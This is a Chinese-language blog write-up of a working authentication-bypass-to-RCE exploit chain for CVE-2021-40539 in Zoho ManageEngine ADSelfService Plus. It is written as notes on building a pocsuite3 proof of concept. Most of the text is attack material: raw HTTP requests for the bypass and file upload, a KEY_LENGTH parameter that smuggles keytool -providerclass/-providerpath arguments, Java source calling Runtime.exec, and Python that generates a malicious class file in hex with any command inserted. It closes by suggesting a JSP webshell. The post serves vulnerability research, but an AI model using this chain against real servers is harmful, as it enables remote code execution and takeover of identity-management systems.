Zoho ManageEngine ADSelfService Plus 从身份验证绕过到RCE(cve-2021-40539)
温馨提示:点击页面下方以展开或折叠目录~
Zoho ManageEngine ADSelfService Plus 从身份验证绕过到RCE(cve-2021-40539)
前段时间写poc时(pocsuite3)写这个东西花了不少时间,主要是本机环境和公开的漏洞环境好像有点不太一样(坑点在于同个版本,上传文件的路径居然不一样),而且有几个点感觉很好玩,于是记录一下
参考1: https://mp.weixin.qq.com/s/nGi7YfDI6g6b704PHzJlcw
参考2: https://github.com/synacktiv/CVE-2021-40539
代码层原理不说了,看参考1就行
验证步骤
- 认证绕过验证
- 上传java类文件
- 通过接口调用工具去执行上传的类文件
- 类文件可执行任意代码,我们令其写入文件到web目录下
- 访问web目录下的文件验证
0x00 认证绕过验证
1 2 3 4
| # url http://10.73.199.43:8888/./RestAPI/LogonCustomization # post data methodToCall=previewMobLogo
|
请求包如下
1 2 3 4 5 6 7 8 9 10 11
| POST /./RestAPI/LogonCustomization HTTP/1.1 Host: 10.73.199.43:8888 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 27
methodToCall=previewMobLogo
|
代码验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def authorized_bypass_verify(self): vul_path = "/./RestAPI/LogonCustomization" vul_url = self.url + vul_path postData = {"methodToCall": "previewMobLogo"} session = requests.Session() req = requests.Request(url=vul_url, data=postData, method='POST') prep = req.prepare() prep.url = vul_url resp = session.send(prep, verify=False) if resp and resp.status_code == 200 and '<script type="text/javascript">var d = new Date();' in resp.text: return True return False
|
这里出现了第一个坑了我好久的地方,就是urllib3
库会对url的点段进行处理,意思就是当我们访问http://ip/../../path
时,urllib3
会将其优化为http://ip/path
,浏览器也是这么做的,这是为了符合RFC3986的规范,后来我给pocsuite3提了一个issue,他们也给我解释了这个原因,然后也feat了pocsuite3对url点段的处理,这个我打算另外写一篇文章说说
0x01 任意文件上传验证
1 2 3 4 5 6 7 8 9 10 11
| # url http://10.73.199.43:8888/./RestAPI/LogonCustomization # post data postData = { "methodToCall": "unspecified", "Save": "yes", "form": "smartcard", "operation": "Add" } # file data file = {'CERTIFICATE_PATH': ('随机文件名.class', 文件内容)}
|
burp发送该请求后404是正常的
请求包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST /./RestAPI/LogonCustomization HTTP/1.1 Host: 10.73.199.43:8888 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Length: 539 Content-Type: multipart/form-data; boundary=d187865b4e0f1bf873369d29ad1c50f5 Connection: close
--d187865b4e0f1bf873369d29ad1c50f5 Content-Disposition: form-data; name="methodToCall"
unspecified --d187865b4e0f1bf873369d29ad1c50f5 Content-Disposition: form-data; name="Save"
yes --d187865b4e0f1bf873369d29ad1c50f5 Content-Disposition: form-data; name="form"
smartcard --d187865b4e0f1bf873369d29ad1c50f5 Content-Disposition: form-data; name="operation"
Add --d187865b4e0f1bf873369d29ad1c50f5 Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="qwe.txt"
abcde --d187865b4e0f1bf873369d29ad1c50f5--
|
上传后的文件目录位于./ADSelfService Plus/bin
下
0x02 命令执行验证
由于任意文件上传的目录是无法进行目录穿越的,而那个目录无法通过web访问,因此这里我觉得是这个洞最巧妙的一点,他使用了一个用来生成密钥对的工具来执行上传文件目录下的类文件,使其达到任意代码执行的目的
上传类文件
上传的类文件由如下java代码编译
1 2 3 4 5 6 7 8 9
| import java.io.*; public class test3 { static{ try{ Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("cmd /c echo 随机字符串>..\\webapps\\adssp\\help\\admin-guide\\随机文件名.txt"); }catch (IOException e){} } }
|
实际上我们在写poc时,不可能每次都要编译个类文件,让python去读取后验证,所以我们需要提取出他的特征,如下图所示,两者的区别在于类名和执行的命令不一样,其他二进制位都是相同的,因此我们可以通过只调整以下几项来达到从字节数组中获取可执行类文件的二进制流(以右图为例):
- java文件名长度(test.java长度为9)
- java文件名(test.java)
- 执行的命令长度(calc长度为4)
- 执行的命令(calc)
- 类名长度(test长度为4)
- 类名(test)
代码表示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| def calc(self, calc_string): len_str = len(calc_string) len_str_hex = '0' + hex(len_str)[2:] if len_str < 16 else hex(len_str)[2:] str_hex = str(binascii.b2a_hex(calc_string.encode('utf-8')))[2:-1] return len_str_hex, str_hex
''' payload为编译好的java类文件的十六进制表示 import java.io.*; public class filename { static{ try{ Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("command"); }catch (IOException e){} } } filename和command均为可变参数 ''' def getPayload(self, file_name, command): len_filename_hex, filename_hex = self.calc(file_name) source_file = file_name + ".java" len_source_file_hex, source_file_hex = self.calc(source_file) len_cmd_hex, cmd_hex = self.calc(command) p = "cafebabe00000034001e0a000700110a001200130800140a001200150700160700170700180100063c696e69743e0100" \ "03282956010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b" \ f"4d61705461626c6507001601000a536f7572636546696c650100{len_source_file_hex}{source_file_hex}" \ f"0c000800090700190c001a001b0100{len_cmd_hex}{cmd_hex}0c001c001d0100136a6176612f696f2f494f457863657074696f6e0100" \ f"{len_filename_hex}{filename_hex}0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d" \ "6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027" \ "284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b002100060007000000" \ "0000020001000800090001000a0000001d00010001000000052ab70001b100000001000b000000060001000000020008" \ "000c00090001000a000000490002000200000010b800024b2a1203b600044ca700044bb100010000000b000e00050002" \ "000b0000001200040000000500040006000b0007000f0008000d0000000700024e07000e000001000f000000020010 " obj = bytearray(bytes.fromhex(p)) return obj
|
调用接口执行类文件
在使用url调用之前,可以先直接使用工具去执行(效果同通过url调用)
该url接口实际上就是调用了ADSelfService Plus\jre\bin
下的keytools.exe
去执行类文件,其中类名和目录都可以控制
1
| keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -keysize 123 -providerclass 类名 -providerpath 目录 -dName "CN=null, OU= null, O=null, L=null, S=null, C=null" -keystore ..\jre\bin\SelfService.keystore
|
以上命令行效果等同于以下请求
请求包:
1 2 3 4 5 6 7 8 9
| POST /./RestAPI/Connection HTTP/1.1 Host: 10.73.199.108:8888 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Length: 113 Content-Type: application/x-www-form-urlencoded Connection: close
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+test+-providerpath+%22..%5C..%5Cbin%22
|
代码参数如下
1 2 3 4 5 6 7 8
| # url http://10.73.199.43:8888/./RestAPI/Connection # post data postData = { "methodToCall": "openSSLTool", "action": "generateCSR", "KEY_LENGTH": '1024 -providerclass test -providerpath "..\\bin"' }
|
KEY_LENGTH
参数说明:
-providerclass test
中,test
为(类)文件名,若上传的文件名为随机名,则需要修改
-providerpath "..\\bin"
中,..\\bin
为上传的类文件目录,大多数复现文章都使用绝对路径(默认安装路径)C:\ManageEngine\ADSelfService Plus\bin
,不过我本机亲测可通过相对路径触发;
- 然而在我本机环境,他这个接口的目录位于
ADSelfService Plus\jre\bin
,而上传文件目录位于ADSelfService Plus\bin
,所以路径应该问..\\..\\bin
- 因此添加了一个可能的路径列表
file_path = ["..\\bin", "..\\..\\bin", "C:\\ManageEngine\\ADSelfService Plus\\bin"]
,使用时三个都试一下就行了
验证代码执行效果
我们上传的类文件执行的命令为cmd /c echo 随机字符串>..\\webapps\\adssp\\help\\admin-guide\\随机文件名.txt
url:
1
| http://10.73.199.108:8888/help/admin-guide/文件名
|
其中..\\webapps\\adssp\\help\\admin-guide
目录可通过路径http://10.73.199.108:8888/help/admin-guide/文件名
直接访问,效果如下
0x03 后利用姿势及总结
分析可控点:
./ADSelfService Plus/bin
目录可上传任意文件,但不可通过web访问,不存在目录穿越
http://ip/./RestAPI/Connection
该路径可调用keytools.exe
执行任意目录下的任意java类文件
- 由1和2得思路:上传类文件,再调用接口去执行
..\\webapps\\adssp\\help\\admin-guide
目录可通过路径http://ip/help/admin-guide/文件名
直接访问
- 由3和4得:执行的类文件可以将内容写入4的目录下,再去访问
注意点:
jdk版本为1.8u162
..\\webapps\\adssp\\help\\admin-guide
目录可解析jsp文件,意味着可以上传jsp马